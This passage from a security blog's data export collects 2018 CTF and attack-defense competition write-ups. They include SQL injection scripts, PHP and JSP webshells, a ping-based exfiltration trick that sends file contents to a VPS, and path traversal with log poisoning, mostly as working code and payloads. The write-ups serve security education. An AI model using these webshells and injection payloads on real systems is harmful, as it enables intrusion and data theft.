1>/dev/null\"); $res = \"You hit it once!\\n\"; }else{ $res = \"You have run out of bullets\\n\"; } } return $res; } p函数引入文件并且把内容进行base64后取前100位存入BULLET中。s函数会将BULLET一位一位的发送到目标IP。于是构造payload: 12p:../../var/www/html/flag.phps:VPS_ip 引入flag.php不断发送s:VPS_ip指令获得flag.php的base64编码。使用tcpdump接受数据 1tcpdump -i eth1 icmp and host vps_ip -XXn > flag.txt 然后对flag.txt处理下得到编码D9waHAKJGZsYWcgPSAiREMwNTMxe1dlY2hBdF9Jc19Tb19DMG9sfSI7Cg==解码是乱码。。然后陷入迷茫。突然发先编码只有59位,应该少了一位。自己对 <?php 编码得到 PD9waHA=在首位补上P得到PD9waHAKJGZsYWcgPSAiREMwNTMxe1dlY2hBdF9Jc19Tb19DMG9sfSI7Cg==解码得到flag 12<?php$flag = \"DC0531{WechAt_Is_So_C0ol}\";","categories":[],"tags":[{"name":"web","slug":"web","permalink":"http://altman.vip/tags/web/"}]},{"title":"SUCTF-WEB","slug":"SUCTF-WEB","date":"2018-05-30T07:22:13.000Z","updated":"2018-11-02T05:46:22.956Z","comments":true,"path":"2018/05/30/SUCTF-WEB/","link":"","permalink":"http://altman.vip/2018/05/30/SUCTF-WEB/","excerpt":"比赛时没时间做,官方赛后给出了writeup和docker镜像,好评。 12345suctf/2018-web-multi_sqlsuctf/2018-web-homeworksuctf/2018-web-hateitsuctf/2018-web-getshellsuctf/2018-web-annonymous","text":"比赛时没时间做,官方赛后给出了writeup和docker镜像,好评。 12345suctf/2018-web-multi_sqlsuctf/2018-web-homeworksuctf/2018-web-hateitsuctf/2018-web-getshellsuctf/2018-web-annonymous 环境部署docker还是很方便,一键部署,示例annonymous 12docker pull suctf/2018-web-annonymousdocker run -d -p 6666:80 suctf/2018-web-annonymous WEBannonymousphp审计题,源码很短 12345678910111213<?php$MY = create_function(\"\",\"die(`cat flag.php`);\");$hash = bin2hex(openssl_random_pseudo_bytes(32));eval(\"function SUCTF_$hash(){\" .\"global \\$MY;\" .\"\\$MY();\" .\"}\");if(isset($_GET['func_name'])){ $_GET[\"func_name\"](); die();}show_source(__FILE__); 首先使用了create_function函数创建了一个打印flag的函数并赋值给$MY然后又随机命名了了一个执行$My的函数,那么我们有两个方法去打印flag1.执行SUCTF_$hash()2.执行$MY()方法一中 openssl_random_pseudo_bytes(32)预测显然不可能只能尝试爆破create_function()产生的函数名。本地测试打印$MY,发现函数名为%00lambda_1,且每访问一次+1。如果%00lambda_x不是很大。我们可以不停访问一个很大的值n,让x增长到n即可。如果已经x很大,那么这个办法就不行了,就需要让apache开启新的进程使得x从一开始。用上现成POC 123456789101112131415161718192021222324252627# coding: UTF-8# Author: [email protected]# import requestsimport socketimport timefrom multiprocessing.dummy import Pool as ThreadPooltry: requests.packages.urllib3.disable_warnings()except: passdef run(i): while 1: HOST = '127.0.0.1' PORT = 12344 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((HOST, PORT)) s.sendall('GET / HTTP/1.1\\nHost: 127.0.0.1\\nConnection: Keep-Alive\\n\\n') # s.close() print 'ok' time.sleep(0.5)i = 8pool = ThreadPool( i )result = pool.map_async( run, range(i) ).get(0xffff) 修改HOST和端口,然后运行脚本,apache会不断kill掉旧进程fork新进程,访问%00lambda_1得到flag getshell绕过waf上传文件getshell,列出后台的waf 123$black_char = array('a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z',' ', '!', '\"', '#', '%', '&', '*', ',', '-', '/', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', ':', '<', '>', '?', '@', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', '\\\\', '^', '`', '|', '+' , '{' , '}',\"'\"); 做法:~(X) 当X为一个汉字时对这个汉字取反第二位可以得到得到一个英文字符,我们利用这个性质构造webshell。eval是一种语言结构而不是函数,所以不能使用变量函数来调用它.这里可以使用asser代替。 1234567891011121314151617181920212223<?php$______=_;$_=~(瞰);$__=$_[$_==$_];$_=~(范);$__=$__.$_[$_==$_];$_=~(范);$__=$__.$_[$_==$_];$_=~(皮);$__=$__.$_[$_==$_];$_=~(半);$__=$__.$_[$_==$_];$_=~(拉);$__=$__.$_[$_==$_];$_=~(为);$___=$_[$_==$_];$_=~(了);$___=$___.$_[$_==$_];$_=~(高);$___=$___.$_[$_==$_];$___=$______.$___;$_=$$___;//$_=Array$__($_[_])//$__=assert 密码是_执行命令system(%27cat%20./../../../../Th1s_14_f14g%27)拿到flag MultiSql注册进去后在用户信息中找到注入点,进行盲注 1http://104.131.107.84:8588/user/user.php?id=2-(mid(user(),1,1)>binary(0x2a)) 过滤了select等东西,又提示flag不再数据库中,尝试读文件。 12345678910111213import requestscode=''cookie={ 'PHPSESSID':'6tq2gt2c31o1reeq4j962sodt6'}for i in range(1,10000): for j in range(32,255): url='http://104.131.107.84:8588/user/user.php?id=2-(mid(load_file(0x2f7661722f7777772f68746d6c2f757365722f757365722e706870),%d,1)=binary(%s))'%(i,hex(j)) r=requests.get(url=url,cookies=cookie) if 'admin' in r.content: code+=hex(j)[2:] print code break 将文件以16进制打印出来,然后转换成文本。发现user.php是使用mysqli_multi_query进行查询的.mysqli_multi_query:执行多个针对数据库的查询所以这里应该就是写shell的地方。为了绕过select和单引号,我们使用MYSQL预处理语句: 123set @sql = concat('create table ',newT,' like ',old);prepare s1 from @sql;execute s1; 将 1select\"<?php @eval($_POST['a']);?>\" into outfile '/var/www/html/favicon/altman.php'; 进行编码贴上一个编码脚本 12345b=''a='''select \"<?php @eval($_POST['a']);?>\" into outfile '/var/www/html/favicon/altman.php';'''for i in range(0,len(a)): b+='CHAR('+str(ord(a[i]))+'),'print b 然后写入执行命令拿到flag","categories":[],"tags":[{"name":"web","slug":"web","permalink":"http://altman.vip/tags/web/"},{"name":"wp","slug":"wp","permalink":"http://altman.vip/tags/wp/"}]},{"title":"CSTS-AWD-XI'AN","slug":"CSTS-AWD","date":"2018-05-28T13:29:17.000Z","updated":"2018-11-02T05:49:31.851Z","comments":true,"path":"2018/05/28/CSTS-AWD/","link":"","permalink":"http://altman.vip/2018/05/28/CSTS-AWD/","excerpt":"第二次打AWD模式的比赛,体验还不错,至少没有像上次一样被打成跑马场。","text":"第二次打AWD模式的比赛,体验还不错,至少没有像上次一样被打成跑马场。 有了上次经验,这次拿到服务器后迅速改密码,dump源码,备份数据库,然后挂上了记录流量的脚本。源码放到D盾后扫到一些后门。我们直接注释掉,因为上次吃了亏,害怕又被打成跑马场,所以我们刚开始一直在防御。其实这里有些有过谨慎了,错过了最好的得分机会,排名靠前的队伍都是先进攻再慢慢防御的,虽然丢分多但是得分也多,我们前两个小时就丢了一次分,但是进攻太多,很多队伍都补上了洞,导致刚开始只拿到了14台机器的shell。上传了.index.php的不死马,这14台机器的shell都很稳定一直在得分。写出脚本定时的拿flag交flag后开始继续审计。下次还是要分工明确,队友补洞,我拿到shell后直接批量种马。【进攻拿分才是最重要的啊】 漏洞主办方留了差不多一大堆后门,放在D盾里扫出了一部分,然后定位一些危险函数找到一些,没什么好说的。主要说比赛结束前10分钟审出来了一个insert报错注入的洞。在service1的sql中,贴上关键代码 1$sql = \"INSERT INTO staff VALUES('$idis','$username','$mail','$workname','$phoneis')\"; 这里面5个参数只有$workname没有做任何过滤,所以从这里入手。抓包后随便尝试下 workname=1’) 直接给了报错,尝试报错注入 1workname=1','') and (updatexml(1,concat(0x7e,(select user()),0x7e),1));%23 成功返回user()这里可以直接读取文件,也能导出shell,时间原因我只尝试了读flag 1workname=1','') and (updatexml(1,concat(0x7e,(select load_file('/home/flag')),0x7e),1));%23 成功读取,因为比赛马上结束,没有批量打,算是很可惜了。getshell的话可以直接用INTO OUTFILE导出木马在web目录里。可以先workname字段中存入一句话木马,然后利用payload导出php文件 1workname=1','') and select workname from stall where idis=999 into out file '/var/www/html/sql/altman.php';%23 其他应该还有一个利用cache写文件的洞,全场没人利用,我也没有找到具体的利用方法,等之后想出来了再补充吧 再吐槽一下这比赛的check,居然是用nmap扫描服务,那我直接删目录岂不是无敌了?最后有好几个队伍,明明网站全部404,还没被扣分,这怎么玩,导致我控的服务器减少了一半。。。我佛了","categories":[],"tags":[{"name":"awd","slug":"awd","permalink":"http://altman.vip/tags/awd/"}]},{"title":"网络空间安全技术大赛","slug":"网络空间安全技术大赛","date":"2018-05-13T10:44:43.000Z","updated":"2018-11-02T05:49:43.732Z","comments":true,"path":"2018/05/13/网络空间安全技术大赛/","link":"","permalink":"http://altman.vip/2018/05/13/%E7%BD%91%E7%BB%9C%E7%A9%BA%E9%97%B4%E5%AE%89%E5%85%A8%E6%8A%80%E6%9C%AF%E5%A4%A7%E8%B5%9B/","excerpt":"WEB","text":"WEB web1任意注册登录后,发现改密码的功能,存在漏洞,抓包修改后改修改admin密码。登陆admin账户,发现img目录可读,在http://117.34.117.216/img/img726849685.jpg发现是flag web2.git泄露源码,利用githack恢复。index.php被加密,查看upload.php构造cookie上传shell 1in_adminid=1,in_adminname=admin,in_adminpassword=1,in_permission=2,in_adminexpire=00e81e7d738c221945959d19c56cb33d 利用菜刀连接,找到fl4g.php 1PM9SCREW †><Þî6\u0017o=‘®vD&©Ú?“LéXhpUò\u001cüM\u0013\u0003ãÌósÂãL33CýRí¬¢½S2rœ<’2ó\u001c\u0004x\u0012Ò7oä].º 也被加密 找到SCREW解密工具https://github.com/firebroo/screw_decode.git解密后得到flag{7cb3d823105433606ccac8fb75aed67c} web3跳转到QQ空间,抓包看一到一个url访问拿到一个JS文件,解混淆后审计,找到关键代码 123456789$.ajax({ url:'/f701fee85540b78d08cb276d14953d58', type:'POST', dataType:'json', data: \"data=\"+encodeURIComponent(encryptByDES($('#loginform').serialize(),key)), error:function(er){ window.location.href='https://qzone.qq.com'; }}) 在ip,hrUW3PG7mp3RLd3dJu,LxMzAX2jog9Bpjs07jP可能存在注入。首先模拟JS上的加密,JS上使用的是一个标准的DES的ECB模式加密,在python中利用pyDes库重现加密过程然后进行时间盲注。脚本 12345678910111213141516171819202122232425262728293031323334import pyDes import base64import requestsimport urlliburl='http://45.76.49.10:8001/f701fee85540b78d08cb276d14953d58'flag=''def des_ecb_encode(source, key): des_obj = pyDes.des(key.encode('utf-8'), pyDes.ECB, IV=None, pad=None, padmode=pyDes.PAD_PKCS5) des_result = des_obj.encrypt(source) return (des_result)key=\"MiaoMiao\"for i in range(1,100): for j in (33,127): #message=\"ip=1.1.1.1&hrUW3PG7mp3RLd3dJu=1',if((ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='admin'),%d,1))=%d),sleep(5),1))#&LxMzAX2jog9Bpjs07jP=\"%(i,j) #message=\"ip=1.1.1.1&hrUW3PG7mp3RLd3dJu=1',if((ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),%d,1))=%d),sleep(5),1))#&LxMzAX2jog9Bpjs07jP=\"%(i,j) message=\"ip=1.1.1.1&hrUW3PG7mp3RLd3dJu=1',if((ascii(substr((select group_concat(password) from admin),%d,1))=%d),sleep(5),1))#&LxMzAX2jog9Bpjs07jP=\"%(i,j) code = des_ecb_encode(message, key) pay= (base64.b64encode(code)) data={ 'data':(pay) } try: r=requests.post(url=url,data=data,timeout=4) except: flag+= chr(j) print flag break#admin,users#username,password#flag{73ad1744f38b68ece51076c7ac77621b} miscmisc3发现ICMP中的流量相似,仔细观察后发现每个请求都有两个字母不同,按时间线排序拼接后拿到flag{RyHgbCf5OhFEiyJnlt9c8ASP} RSA2e=3,典型低指数攻击。直接附上脚本 1234567891011121314151617import gmpyc=80256065280425989347153660555632253204654757632704797390559450985825600409910703812294413750536361555897348650491697548574007864446117693097103136799284683292648287334023253488891301144881769557674366138889636475162525325855368132832237345279798028008137655682278413635753791609965810603989005785747744993045461207072415730041608172272077090225741385971n=27262030738190162906068533309218248319312037416856794814532459866130196673561833084739048171769479893806671499522643803412108279907223895517897969906253626028270289028646596897429641138913001561947557784840311014399973312098056896539904624036584153785225626096007313018814076860235378686567457599895712604364100507424939342862464483596795761725357279364545154915110900098124905389351969357103586063992040096368146580315262263546850581515833590884397726108478477798668261762306189036525841356592859315437201733146083995028221597538824801113980100295046731791678895520928441645173205511865657977068061078456941189550383e=3i=0while 1: if gmpy.root((c+i*n),e)[1]==1: print \"success\" m=gmpy.root((c+i*n),e)[0] print m print i break i=i+1print m 然后16进制转文本得到 my password is: I_Lov5_RSA_Rel6te7_me8sagE_aTTacK","categories":[],"tags":[{"name":"wp","slug":"wp","permalink":"http://altman.vip/tags/wp/"}]},{"title":"QWB_python_wp","slug":"QWB-python-wp","date":"2018-05-10T07:32:35.000Z","updated":"2019-07-31T06:03:12.000Z","comments":true,"path":"2018/05/10/QWB-python-wp/","link":"","permalink":"http://altman.vip/2018/05/10/QWB-python-wp/","excerpt":"前言通过强网杯的python题目对基于flask框架的pythonweb学习。","text":"前言通过强网杯的python题目对基于flask框架的pythonweb学习。 源码分析SQL注入先看一下路由文件route.py 12345678910111213141516171819202122232425262728293031323334353637383940@app.before_requestdef before_request():@app.teardown_requestdef shutdown_session(exception=None): db_session.remove()@app.route('/', methods=['GET', 'POST'])@app.route('/index', methods=['GET', 'POST'])@login_requireddef index():@app.route('/explore')@login_requireddef explore():@app.route('/login', methods=['GET', 'POST'])def login():@app.route('/logout')def logout():@app.route('/register', methods=['GET', 'POST'])def register():@app.route('/user/<username>')@login_requireddef user(username):@app.route('/edit_profile', methods=['GET', 'POST'])@login_requireddef edit_profile():@app.route('/follow/<username>')@login_requireddef follow(username):@app.route('/unfollow/<username>')@login_requireddef unfollow(username): 我们先定位到容易出问题的登录注册功能。 [email protected]('/login', methods=['GET', 'POST'])def login(): if current_user.is_authenticated: return redirect(url_for('index')) form = LoginForm() if form.validate_on_submit(): user = load_user_by_username(form.username.data) if user == -1: flash('Something error!') return render_template('500.html'), 500 if user == 0: flash('Invalid username or password') return redirect(url_for('login')) login_user(user, remember=form.remember_me.data) next_page = request.args.get('next') if not next_page or url_parse(next_page).netloc != '': next_page = url_for('index') return redirect(next_page) return render_template('login.html', title='Sign In', form=form) login页面将username传入了load_user_by_username函数,跟进一下load_user_by_username函数 定位在models.py 12345678def load_user_by_username(username): msg = mysql.One(\"user\", {\"username\": \"'%s'\" % username}) if msg != 0 and msg != -1: user = User(id=msg[0], username=msg[1], email=msg[2], password_hash=msg[3], note=msg[4], last_seen=msg[5]) return user else: return msg 将username传入了mysql.one函数里 123456789def One(self, tablename, where={}, feildname=[\"*\"], order=\"\", where_symbols=\"=\", l=\"and\"): sql = self.Sel(tablename, where, feildname, order, where_symbols, l) try: res = self.db_session.execute(sql).fetchone() if res == None: return 0 return res except: return -1 最终进入Sel函数,拼接出语句。 1select * from user where username = 'altman' 尝试注入,输入用户名 1altman' or 1=1# 成功注入,任意登录。接下来就简单了,写脚本进行bool盲注。 123456789101112131415161718192021222324252627282930# -*- coding:utf-8 -*-# -*- author:altman -*-import reimport requestsflag=''url='http://127.0.0.1:5000/login'url2='http://127.0.0.1:5000/logout'cookie={ 'session':'f4589153-2c4a-4c80-b97b-b3fdf3506d65'}for i in range(1,100): for j in range(33,127): requests.get(url=url2, cookies=cookie) x = requests.get(url=url, cookies=cookie) csrf_token_re = r'<input id=\"csrf_token\" name=\"csrf_token\" type=\"hidden\" value=\"(.*?)\">' token = re.findall(csrf_token_re, x.content)[0] data = { 'username': \"a' or ascii(substr(database(),%d,1))=%d#\"%(i,j), #'username': \"a' or ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),%d,1))=%d#\"%(i,j), 'password': 'asd', 'csrf_token': token } r = requests.post(url=url, data=data, cookies=cookie) if 'Invalid username or password' not in r.content: flag+=chr(j) print flag break注入得到数据库的flag : QWB{us1ng_val1dator_caut1ous} ps:其实这个登录函数并没有接受密码,他只检测了用户名是否存在。如果存在就判断登入。 继续分析查看profile页面 123456789101112131415def edit_profile(): form = EditProfileForm(current_user.username) if form.validate_on_submit(): current_user.username = form.username.data current_user.note = form.note.data res = mysql.Mod(\"user\", {\"id\": current_user.id}, { \"username\": \"'%s'\" % current_user.username, \"note\": \"'%s'\" % current_user.note}) if res != 0: flash('Your changes have been saved.') return redirect(url_for('edit_profile')) elif request.method == 'GET': form.username.data = current_user.username form.note.data = current_user.note return render_template('edit_profile.html', title='Edit Profile', form=form) 新建一个Editprofileform类 123456789101112131415161718192021222324class EditProfileForm(FlaskForm): username = StringField('Username', validators=[DataRequired()]) note = StringField('About me', validators=[]) submit = SubmitField('Submit') def __init__(self, original_username, *args, **kwargs): super(EditProfileForm, self).__init__(*args, **kwargs) self.original_username = original_username def validate_username(self, username): if re.match(\"^[a-zA-Z0-9_]+$\", username.data) == None: raise ValidationError('username has invalid charactor!') if username.data == current_user.username: pass else: user = mysql.One( \"user\", {\"username\": \"'%s'\" % username.data}, [\"id\"]) if user != 0: raise ValidationError('Please use a different username.') def validate_note(self, note): if re.match(\"^[a-zA-Z0-9_\\'\\(\\) \\.\\_\\*\\`\\-\\@\\=\\+\\>\\<]*$\", note.data) == None: raise ValidationError(\"Don't input invalid charactors!\") 这个类会对接受的参数进行过滤,但是我发现对note的过滤及其松散,尝试在note出进行注入。 由于没有回显,尝试延时注入 1123' and sleep(5) and 'a'='a 成功闭合造成延时。","categories":[],"tags":[{"name":"wp","slug":"wp","permalink":"http://altman.vip/tags/wp/"}]},{"title":"redhat2018-writeup","slug":"redhat2018-writeup","date":"2018-05-01T03:14:59.000Z","updated":"2018-11-02T05:48:22.075Z","comments":true,"path":"2018/05/01/redhat2018-writeup/","link":"","permalink":"http://altman.vip/2018/05/01/redhat2018-writeup/","excerpt":"这个比赛题目质量不错,也不是很难,体验极佳。","text":"这个比赛题目质量不错,也不是很难,体验极佳。 WEBsimple uploadweb签到题,题目说是上传,结果给个login页面尝试半天后找到了 upload.html ,直接上传php一句话,发现执行不了指令?突然看到后台是用JAVA写的。。。上传网上搜来的JSP马 123456789101112<% if(\"023\".equals(request.getParameter(\"pwd\"))){ java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter(\"i\")).getInputStream(); int a = -1; byte[] b = new byte[2048]; out.print(\"<pre>\"); while((a=in.read(b))!=-1){ out.println(new String(b)); } out.print(\"</pre>\"); }%> 成功执行指令拿到flag flag{2ad4ff03-cd30-4085-a5b2-ba18ebff6b05} shopping log比较麻烦的一道题,提示 Site is tmvb.com先修改host文件试试,不行。在这里踩坑好久,最后发现是要改成 www.tmvb.com进去后是比较常规的操作了,改referer头,改AL语言为JA。 12\"referer\":\"www.DWW.COM\",\"Accept-Language\":\"ja\" 登陆进网站是一个订单查询。再结合两个hint。 hint: 不需要注入hint2:订单号从0000开始试可能不是一个明智的选择 很明显是订单号爆破,但是由于有一个md5验证,使得脚本极慢。。而我又不会写多线程,只能慢慢等了。附上python脚本 123456789101112131415161718192021222324252627282930313233343536# encoding=utf-8import requestsimport hashlibdef md5(str1): return hashlib.md5(str1).hexdigest()def md51(str1): i = 0 while True: if md5(str(i))[0:6] == str1: return i else: i+=1url='http://www.tmvb.com/5a560e50e61b552d34480017c7877467info.php'header = {\"referer\":\"www.DWW.COM\",\"Accept-Language\":\"ja\"}cookie={ 'PHPSESSID':'8tnae9j43ik44aia70sv2k5aq0'}for i in range (312,9000): r=requests.get(url=url,headers=header,cookies=cookie) md=r.content[2687:2693] code=md51(md) print code url2='http://www.tmvb.com/api.php?action=report' data={ 'TxtTid':10000-i, 'code':code } k=requests.post(url=url2,data=data,headers=header,cookies=cookie) print 10000-i print k.content if 'error' not in k.content: break#9588 跑了快两个小时得到9588号订单 {“error”:0,”msg”:”Congradulations, your flag is flag{hong_mao_ctf_hajimaruyo}\\n”} biubiubiu尝试了一番注入无果后注意到page尝试目录穿越。成功访问到 etc/passwd 1?page=../../../../../../../../../../etc/passwd 然后继续找文件读,读到access.log发现可以用修改UA头来控制文件内容写shell。成功拿到shell后翻遍目录也没找到 flag。注意到 conn.php,里面给了数据库账号密码。尝试连接,在admin表中password字段中发现flag flag{dbc98dd7-90fb-44f4-8dbe-35a72f07ec9d} miscNot Only Wireshark流量包打开发现可疑字段,提取数据后写成一个zip压缩包打开需要密码又发现 key=?id=1128%23 尝试1128不对,试出来密码就是 ?id=1128%23 【坑】打开看到flag 手工爆破先手工爆破拿到密码是某个文件名0328fc8b43cb2ddf89ba69fa5e6dbc05是压缩包密码打开后是加密的doc,继续暴力破解得到密码是5396《情系海边之城》又名《海边的曼彻斯特》是曼彻斯特编码F5F507是ID写脚本得到最后的flag 12345678910111213141516171819a=0x123654AAA678876303555111AAA77611A321out=''flag=''b='0'+bin(a)[2:]for i in range(len(b) / 2): a1 = b[i*2:i*2+2] if a1=='01': out+='0' else: out+='1'print (out)for i in range(0,len(out),8): tmp=out[i:i+8][::-1] flag+=hex(int(tmp[:4],2))[2:] flag+=hex(int(tmp[4:],2))[2:]print flag.upper()5EFCF5F507AA5FAD77 cryptorsa system下载文件下来 123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107import signaln = 0xBACA954B2835186EEE1DAC2EF38D7E11582127FB9E6107CCAFE854AE311C07ACDE3AAC8F0226E1435D53F03DC9CE6701CF9407C77CA9EE8B5C0DEE300B11DD4D6DC33AC50CA9628A7FB3928943F90738BF6F5EC39F786D1E6AD565EB6E0F1F92ED3227658FDC7C3AE0D4017941E1D5B27DB0F12AE1B54664FD820736235DA626F0D6F97859E5969902088538CF70A0E8B833CE1896AE91FB62852422B8C29941903A6CF4A70DF2ACA1D5161E01CECFE3AD80041B2EE0ACEAA69C793D6DCCC408519A8C718148CF897ACB24FADD8485588B50F39BCC0BBF2BF7AD56A51CB3963F1EB83D2159E715C773A1CB5ACC05B95D2253EEFC3CCC1083A5EF279AF06BB92Fe = 0x10001def pad(s): s += (256 - len(s)) * chr(256 - len(s)) ret = ['\\x00' for _ in range(256)] for index, pos in enumerate(s_box): ret[pos] = s[index] return ''.join(ret)def unpad(s): ret = ['\\x00' for _ in range(256)] for index, pos in enumerate(invs_box): ret[pos] = s[index] return ''.join(ret[0:-ord(ret[-1])])def str2int(s): return int(s.encode('hex'), 16)s_box = [ 0x63, 0x7C, 0x77, 0x7B, 0xF2, 0x6B, 0x6F, 0xC5, 0x30, 0x01, 0x67, 0x2B, 0xFE, 0xD7, 0xAB, 0x76, 0xCA, 0x82, 0xC9, 0x7D, 0xFA, 0x59, 0x47, 0xF0, 0xAD, 0xD4, 0xA2, 0xAF, 0x9C, 0xA4, 0x72, 0xC0, 0xB7, 0xFD, 0x93, 0x26, 0x36, 0x3F, 0xF7, 0xCC, 0x34, 0xA5, 0xE5, 0xF1, 0x71, 0xD8, 0x31, 0x15, 0x04, 0xC7, 0x23, 0xC3, 0x18, 0x96, 0x05, 0x9A, 0x07, 0x12, 0x80, 0xE2, 0xEB, 0x27, 0xB2, 0x75, 0x09, 0x83, 0x2C, 0x1A, 0x1B, 0x6E, 0x5A, 0xA0, 0x52, 0x3B, 0xD6, 0xB3, 0x29, 0xE3, 0x2F, 0x84, 0x53, 0xD1, 0x00, 0xED, 0x20, 0xFC, 0xB1, 0x5B, 0x6A, 0xCB, 0xBE, 0x39, 0x4A, 0x4C, 0x58, 0xCF, 0xD0, 0xEF, 0xAA, 0xFB, 0x43, 0x4D, 0x33, 0x85, 0x45, 0xF9, 0x02, 0x7F, 0x50, 0x3C, 0x9F, 0xA8, 0x51, 0xA3, 0x40, 0x8F, 0x92, 0x9D, 0x38, 0xF5, 0xBC, 0xB6, 0xDA, 0x21, 0x10, 0xFF, 0xF3, 0xD2, 0xCD, 0x0C, 0x13, 0xEC, 0x5F, 0x97, 0x44, 0x17, 0xC4, 0xA7, 0x7E, 0x3D, 0x64, 0x5D, 0x19, 0x73, 0x60, 0x81, 0x4F, 0xDC, 0x22, 0x2A, 0x90, 0x88, 0x46, 0xEE, 0xB8, 0x14, 0xDE, 0x5E, 0x0B, 0xDB, 0xE0, 0x32, 0x3A, 0x0A, 0x49, 0x06, 0x24, 0x5C, 0xC2, 0xD3, 0xAC, 0x62, 0x91, 0x95, 0xE4, 0x79, 0xE7, 0xC8, 0x37, 0x6D, 0x8D, 0xD5, 0x4E, 0xA9, 0x6C, 0x56, 0xF4, 0xEA, 0x65, 0x7A, 0xAE, 0x08, 0xBA, 0x78, 0x25, 0x2E, 0x1C, 0xA6, 0xB4, 0xC6, 0xE8, 0xDD, 0x74, 0x1F, 0x4B, 0xBD, 0x8B, 0x8A, 0x70, 0x3E, 0xB5, 0x66, 0x48, 0x03, 0xF6, 0x0E, 0x61, 0x35, 0x57, 0xB9, 0x86, 0xC1, 0x1D, 0x9E, 0xE1, 0xF8, 0x98, 0x11, 0x69, 0xD9, 0x8E, 0x94, 0x9B, 0x1E, 0x87, 0xE9, 0xCE, 0x55, 0x28, 0xDF, 0x8C, 0xA1, 0x89, 0x0D, 0xBF, 0xE6, 0x42, 0x68, 0x41, 0x99, 0x2D, 0x0F, 0xB0, 0x54, 0xBB, 0x16]invs_box = [ 0x52, 0x09, 0x6A, 0xD5, 0x30, 0x36, 0xA5, 0x38, 0xBF, 0x40, 0xA3, 0x9E, 0x81, 0xF3, 0xD7, 0xFB, 0x7C, 0xE3, 0x39, 0x82, 0x9B, 0x2F, 0xFF, 0x87, 0x34, 0x8E, 0x43, 0x44, 0xC4, 0xDE, 0xE9, 0xCB, 0x54, 0x7B, 0x94, 0x32, 0xA6, 0xC2, 0x23, 0x3D, 0xEE, 0x4C, 0x95, 0x0B, 0x42, 0xFA, 0xC3, 0x4E, 0x08, 0x2E, 0xA1, 0x66, 0x28, 0xD9, 0x24, 0xB2, 0x76, 0x5B, 0xA2, 0x49, 0x6D, 0x8B, 0xD1, 0x25, 0x72, 0xF8, 0xF6, 0x64, 0x86, 0x68, 0x98, 0x16, 0xD4, 0xA4, 0x5C, 0xCC, 0x5D, 0x65, 0xB6, 0x92, 0x6C, 0x70, 0x48, 0x50, 0xFD, 0xED, 0xB9, 0xDA, 0x5E, 0x15, 0x46, 0x57, 0xA7, 0x8D, 0x9D, 0x84, 0x90, 0xD8, 0xAB, 0x00, 0x8C, 0xBC, 0xD3, 0x0A, 0xF7, 0xE4, 0x58, 0x05, 0xB8, 0xB3, 0x45, 0x06, 0xD0, 0x2C, 0x1E, 0x8F, 0xCA, 0x3F, 0x0F, 0x02, 0xC1, 0xAF, 0xBD, 0x03, 0x01, 0x13, 0x8A, 0x6B, 0x3A, 0x91, 0x11, 0x41, 0x4F, 0x67, 0xDC, 0xEA, 0x97, 0xF2, 0xCF, 0xCE, 0xF0, 0xB4, 0xE6, 0x73, 0x96, 0xAC, 0x74, 0x22, 0xE7, 0xAD, 0x35, 0x85, 0xE2, 0xF9, 0x37, 0xE8, 0x1C, 0x75, 0xDF, 0x6E, 0x47, 0xF1, 0x1A, 0x71, 0x1D, 0x29, 0xC5, 0x89, 0x6F, 0xB7, 0x62, 0x0E, 0xAA, 0x18, 0xBE, 0x1B, 0xFC, 0x56, 0x3E, 0x4B, 0xC6, 0xD2, 0x79, 0x20, 0x9A, 0xDB, 0xC0, 0xFE, 0x78, 0xCD, 0x5A, 0xF4, 0x1F, 0xDD, 0xA8, 0x33, 0x88, 0x07, 0xC7, 0x31, 0xB1, 0x12, 0x10, 0x59, 0x27, 0x80, 0xEC, 0x5F, 0x60, 0x51, 0x7F, 0xA9, 0x19, 0xB5, 0x4A, 0x0D, 0x2D, 0xE5, 0x7A, 0x9F, 0x93, 0xC9, 0x9C, 0xEF, 0xA0, 0xE0, 0x3B, 0x4D, 0xAE, 0x2A, 0xF5, 0xB0, 0xC8, 0xEB, 0xBB, 0x3C, 0x83, 0x53, 0x99, 0x61, 0x17, 0x2B, 0x04, 0x7E, 0xBA, 0x77, 0xD6, 0x26, 0xE1, 0x69, 0x14, 0x63, 0x55, 0x21, 0x0C, 0x7D]def mul(x, y, z): ret = 1 while y != 0: if y & 1 != 0: ret = (ret * x) % z x = (x * x) % z y >>= 1 return retdef welcom(): signal.alarm(5) print r\"\"\" ____ ____ _ ______ ______ _____ _____ __ __ | _ \\/ ___| / \\ / ___\\ \\ / / ___|_ _| ____| \\/ || |_) \\___ \\ / _ \\ \\___ \\\\ V /\\___ \\ | | | _| | |\\/| || _ < ___) / ___ \\ ___) || | ___) || | | |___| | | ||_| \\_\\____/_/ \\_\\ |____/ |_| |____/ |_| |_____|_| |_|\"\"\"def main(): welcom() flag = open('./flag', 'r').read() flag_len = len(flag) assert(flag_len == 38) flag = pad(flag) while True: print '''1. sign flag2. get signed flagPlease give me your choice :''' cmd = raw_input() if cmd == '1': assert(len(flag) == 256) flag = unpad(flag)[:flag_len] + raw_input('Please sign your flag (0 - %d): ' % (256 - flag_len)) assert(len(flag) <= 256) flag = pad(flag) print 'Success' elif cmd == '2': signature = mul(str2int(flag), e, n) print 'Your signed flag ciphertext is : 0x%x' % signature else: print 'Bye bye' exit(0)if __name__ == '__main__': main() 直接附上爆破脚本 ,这里要用的pwntools 12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364656667686970717273747576777879808182838485868788899091929394# coding=utf-8from pwn import *import signaln = 